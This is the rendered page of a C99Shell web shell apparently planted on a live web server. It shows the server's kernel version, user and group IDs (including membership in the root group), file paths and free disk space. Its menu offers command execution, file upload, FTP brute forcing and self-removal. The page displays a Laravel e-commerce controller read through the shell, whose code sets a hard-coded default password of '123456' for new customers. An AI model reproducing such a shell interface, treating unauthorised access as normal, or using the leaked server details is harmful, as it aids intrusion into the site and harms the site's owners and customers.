!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.24 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FrontController.php (6.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Customer;
use 
App\Models\CustomerStep;
use 
App\Models\CustomerStepDetail;
use 
App\Models\Faq;
use 
App\Models\Page;
use 
App\Models\Plan;
use 
App\Models\Step;
use 
App\Models\StepDetail;
use 
App\Models\Subscribe;
use 
GuzzleHttp\Client;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\File;

class 
FrontController extends Controller
{
    public function 
faq(){
        
$data['faqs'] = Faq::where('status',1)->orderByDesc('created_at')->get();
        return 
view('frontend.home.faq',$data);
    }
    public function 
home(Request $request){
        if(
get_settings('landing_page_status')=='disable'){
            return 
redirect()->route('login');
        }
        
$data['local_setting'] = json_decode(get_settings('local_setting'));
        
$data['faqs'] = faq::where('status''active')->get();

        return  
view('front.index',$data);
    }

    public function 
chooseProgram(){
        
$data['steps']=Step::where('status','active')->with('step_details')->orderBy('id''asc')->get();


        if(isset(
auth('customer')->user()->plan) && isset(auth('customer')->user()->plan->plan_id)){
            
$data['plans']=Plan::where('status''active')->where('id''!='auth('customer')->user()->plan->plan_id)->get();
        }else{
            
$data['plans']=Plan::where('status''active')->get();
        }


        return 
view('front.choose_program'$data);
    }

    public function 
page($page){

        
$data['page'] = Page::where('url',$page)->where('status','published')->firstOrFail();
        return  
view('front.page',$data);
    }

    public function 
saveData(Request $request){

        
DB::beginTransaction();

        try{
            
$planPlan::where('id'$request->plan_id)->first();
            if(!
auth('customer')->user()) {
                
$customer = new Customer();
                
$customer->first_name $request->first_name;
                
$customer->last_name $request->last_name;
                
$customer->email $request->email;
                
$customer->password bcrypt('123456');
                
$customer->email_verified_at now();
                
$customer->save();
            }else{
                
$customer=auth('customer')->user();
            }


            
$new_customer_step= new CustomerStep();
            
$new_customer_step->customer_id=$customer->id;
            
$new_customer_step->plan_id=$request->plan_id;
            
$new_customer_step->save();

            unset(
$request['_token']);


            foreach (
$request->all() as $key => $req) {

                
$key_name explode('_'$key);
                
$step_detail '';
                if (isset(
$key_name[1]) && $key_name) {
                    if (
is_numeric($key_name[1])) {
                        
$step_detail StepDetail::where('id'$key_name[1])->first();

                        if (
$step_detail) {
                            
$step Step::where('id'$step_detail->step_id)->first();


                            
$customer_step_detail = new CustomerStepDetail();
                            
$customer_step_detail->title $step $step->title '';

                            if (isset(
$key_name[0]) && $key_name[0] == 'stepdetail') {
                                
$step_details StepDetail::where('id'$key_name[1])->first();
                                
$value $step_details->value json_decode($step_details->value) : '';
                                
$req = isset($value->title) ? $value->title '';
                            }

                            if (
is_array($req)) {
                                if (isset(
$req['lb']) && $req['lb']) {
                                    
$customer_step_detail->value $req['lb'] . ' lb';
                                } else {
                                    
$customer_step_detail->value = isset($req['kg']) ? $req['kg'] . ' kg' '';
                                }
                            } else {
                                
$customer_step_detail->value $req $req 'null';
                            }


                            
$customer_step_detail->customer_step_id =$new_customer_step->id;

                            
$customer_step_detail->step_details_id =$step_detail->id;
                            
$customer_step_detail->save();
                        }
                    }
                }
            }

            
DB::commit();

            if(!
auth('customer')->user()){
                
auth('customer')->loginUsingId($customer->id);

                return 
view('customer.demo_view'compact('plan'));
            }else{

                return 
view('customer.demo_view'compact('plan'));
            }

        }catch(
\Exception $ex){

            
DB::rollBack();
            return 
redirect()->back()->withErrors(['faild',$ex->getMessage()]);
        }

    }

    public function 
aboutUs(){
        return 
view('front.about_us');
    }

    public function 
support(){
        return 
view('front.support');
    }
    public function 
review(){
        return 
view('front.review');
    }
    public function 
my_account(){
        return 
view('front.my_account');
    }
    public function 
terms_and_condition(){
        return 
view('front.terms_and_condition');
    }


    public function 
verifyCode(Request $request){
        
$code=$request->purchase_code;
        if(!
$code){
            
abort(404);
        }
        
$client = new Client(['verify'=>false]);
        
$res $client->request('GET''http://verify.picotech.app/verify.php?purchase_code='.$code);
        
$responsejson_decode($res->getBody());

        if(isset(
$response->id) && $response->id){
            
$data=[
                
'code'=>$code,
                
'id'=>$response->id,
                
'checked_at'=>now()
            ];
            
File::put(storage_path().'/framework/build',base64_encode(json_encode($data)));
            if(
$request->verify){
                return 
back();
            }
            return 
back()->with('success','Purchase code verified successfully');

        }else{
            
File::delete(storage_path().'/framework/build');
            return 
back()->withErrors(['msg'=>'Invalid purchase code']);
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--